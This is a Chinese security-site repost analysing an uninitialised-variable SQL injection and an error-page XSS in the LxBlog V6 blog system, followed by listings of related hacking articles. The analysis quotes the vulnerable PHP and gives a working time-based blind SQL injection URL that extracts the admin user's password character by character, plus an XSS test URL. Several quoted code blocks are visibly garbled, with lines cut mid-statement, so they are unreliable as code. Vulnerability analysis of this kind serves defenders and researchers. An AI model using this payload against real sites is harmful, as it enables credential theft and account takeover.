当前位置: 首页
网络安全
LxBlog V6变量未初始化漏洞详细分析

LxBlog V6变量未初始化漏洞详细分析

热心网友 时间:2026-07-22
转载

Lxblog 作为 PHPWind 旗下的一款多用户博客系统,功能确实相当全面——个人主页、二级域名、自定义模板、朋友圈与相册功能一应俱全。然而,在安全防护层面,它并不够坚固。本文专门剖析一个因变量未初始化引发的 SQL 注入漏洞,深入探究问题根源。 首先直接展示关键代码,漏洞位于 user ta

Lxblog 作为 PHPWind 旗下的一款多用户博客系统,功能确实相当全面——个人主页、二级域名、自定义模板、朋友圈与相册功能一应俱全。然而,在安全防护层面,它并不够坚固。本文专门剖析一个因变量未初始化引发的 SQL 注入漏洞,深入探究问题根源。

首先直接展示关键代码,漏洞位于 /user/tag.php

=======================code==================================
/user/tag.php
 $value) {
    ${'utf8_'.$key} = $value;
    ${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
if ($job == 'add') {
    ……//省略部分代码
}elseif($job=="modify"){
    $tagnum="{$type}num";
    $touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
    //$type带入查询语句操作数据库
    $touchtagdb['uid']!=$admin_uid && exit;
    ……//省略部分代码
=======================code==================================

仔细观察可以发现,$type$item_type 这两个变量在文件中完全没有被初始化,随后直接被拼接到 SQL 查询语句中。虽然文件开头有 !function_exists('usermsg') && exit('Forbidden') 拦截直接访问,但绕过其实并不困难——通过 user_index.php 间接包含即可触发。

=======================code==================================
//user_index.php


到这里,漏洞的触发路径已经非常清晰:只要提交 action=tag,就会加载 tag.php。但还有一个关键问题:如何绕过 register_global 的影响?幸运的是,user/global.php 在开头就被包含进来了,看看它的处理逻辑:

=======================code==================================
//user/global.php
 $_value) {
        !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
    }
    foreach ($_GET as $_key => $_value) {
        !ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
    }
}
……//省略部分代码
=======================code==================================

有意思的是,action=tag 并不在允许的白名单中,因此 foreach 循环会直接将 $_GET$_POST 的值赋给未初始化的变量。这样一来,$type$item_type 就完全落入了攻击者的掌控之中。

不过,还有两个障碍需要跨越:第一个是 in_array($type,$item_type) 的检查,解决办法很简单——让 $type$item_type[] 的值保持一致即可。第二个是构造的 SQL 语句:

$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");

综合来看,可以构造出如下延时盲注的 POC:

=======================poc==================================
//判断uid=1的用户的密码第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/
=======================poc==================================

浏览器卡住几秒代表猜测正确,瞬间返回则表示错误——这是典型的延时盲注手段。配合二分法逐步猜测,最终总能获取到密码。如果数据库版本较低,使用 benchmark 函数效果会更加稳定。具体的 exploit 这里不再展开,感兴趣的读者完全可以自行编写脚本进行测试。

顺便提一下,Lxblog 的数据库错误处理函数也值得关注:

=======================code==================================
function DB_ERROR($msg) {
    global $db_blogname,$REQUEST_URI;
    $sqlerror = mysql_error();
    $sqlerrno = mysql_errno();
    //ob_end_clean();
    echo"$db_blogname\n\n";
    echo"
$msg"; echo"

The URL Is:
http://$_SERVER[HTTP_HOST]$REQUEST_URI"; echo"

MySQL Server Error:
$sqlerror ( $sqlerrno )"; echo"

You Can Get Help In:
http://www.phpwind.net"; echo"
"; exit; } =======================code==================================

这个函数直接将造成错误的 URL 原样输出,没有任何过滤——这显然是一个 XSS 漏洞。验证如下:

=======================poc==================================
http://www.lxblog.net/user_index.php?action=tag&job=modify&type=&item_type[]=
=======================poc==================================

尽管本文主要讨论 SQL 注入,但顺手也引出了一个 XSS 问题。修复方法其实很简单:在数据库查询之前,将 $item_type 硬编码为一个合法的数组即可。说白了,网上不少 PHP 程序都存在类似通病——变量未初始化,攻击者可以随意篡改程序流程。这个问题的根源并不复杂,养成良好习惯,对变量和类进行正确初始化,这类漏洞自然就能被有效防御。

来源:https://www.jb51.net/hack/12860.html

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
零基础Python网络安全学习指南,包住宿实战培训

零基础Python网络安全学习指南,包住宿实战培训

先抛出几个核心判断:网络安全人才缺口确实已经超过70万。这个数字不算夸张,各大招聘网站上安全岗位的薪资涨幅和需求增长都是实实在在的。但实话实说,行业真正缺的是能上手干活的人,不是只懂几个理论概念的新手。因此,一套扎实且成体系的训练方案,对于零基础转行或进阶提升就显得格外关键。 从零基础到能够独立应对

时间:2026-07-25 22:28
网络安全定义与核心概念详解

网络安全定义与核心概念详解

谈到网络安全,不同组织与标准体系对其定义虽有差异,但核心目标高度统一:保护信息与系统不受威胁侵害。以下梳理几种主流定义—— 什么是网络安全? 国际标准化组织(ISO)在ISO-74982文献中将安全定义为:最大程度地降低数据和资源遭受攻击的可能性。该定义虽简短,却精准点出安全的本质——即风险控制。

时间:2026-07-25 22:28
IIS 7.0网站漏洞利用与修复方法指南

IIS 7.0网站漏洞利用与修复方法指南

先来聊聊当前网络安全领域比较流行的一种实战技巧——以PHP环境为例,详细讲解图片马合并与解析漏洞利用的具体操作步骤。整个过程并不复杂,但细节往往决定成败,大家跟着流程逐步操作即可。 合并一张PHP一句话图片马 首先,我们需要将一句话木马脚本与一张正常图片合并,生成一个看似无害的图片文件。合并方式主要

时间:2026-07-25 22:28
织梦管理系统后台查找功能教程

织梦管理系统后台查找功能教程

通过SQL注入漏洞获取织梦CMS(DedeCMS)管理员密码后,满怀期待地准备进入后台,却发现怎么也找不到登录入口——这种情况其实相当常见。别着急,这里有一个实用的技巧值得尝试。 直接在网站地址后面添加以下路径: include dialog select_media php?f=form1 mur

时间:2026-07-25 22:28
微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析

微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析

BrowseDialog Class (ccrpbds6 dll) 导致 Internet Explorer 拒绝服务漏洞分析 该漏洞的PoC(概念验证代码)实现极为直接——触发浏览器崩溃的条件简单得令人意外。测试环境采用Windows XP Professional SP2(已安装全部补丁)并运行

时间:2026-07-25 22:10
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全
  • 热门数据榜